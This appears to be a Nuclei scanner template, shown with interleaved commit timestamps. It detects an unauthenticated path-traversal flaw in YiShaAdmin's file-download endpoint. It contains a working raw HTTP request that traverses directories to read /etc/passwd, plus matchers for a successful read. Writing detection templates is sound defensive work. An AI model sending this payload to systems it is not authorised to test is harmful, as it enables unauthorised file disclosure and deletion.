2022-02-15 13:03:24 +00:00
id : yishaadmin-lfi
2022-02-15 04:48:57 +00:00
info :
name : yishaadmin path traversal
author : Evan Rubinstein
2022-02-15 13:03:24 +00:00
severity : high
2022-02-15 04:48:57 +00:00
description : An endpoint in yshaadmin "/admin/File/DownloadFile" was improperly secured, allowing for files to be downloaded, read or deleted without any authentication.
2022-02-15 13:03:24 +00:00
reference :
- https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/
- https://github.com/liukuo362573/YiShaAdmin/blob/master/YiSha.Util/YiSha.Util/FileHelper.cs#L181-L186
tags : lfi,yishaadmin
2022-02-15 04:48:57 +00:00
requests :
- raw :
- |
GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : regex
2022-02-15 04:53:28 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2022-02-15 13:03:24 +00:00
- type : status
status :
- 200
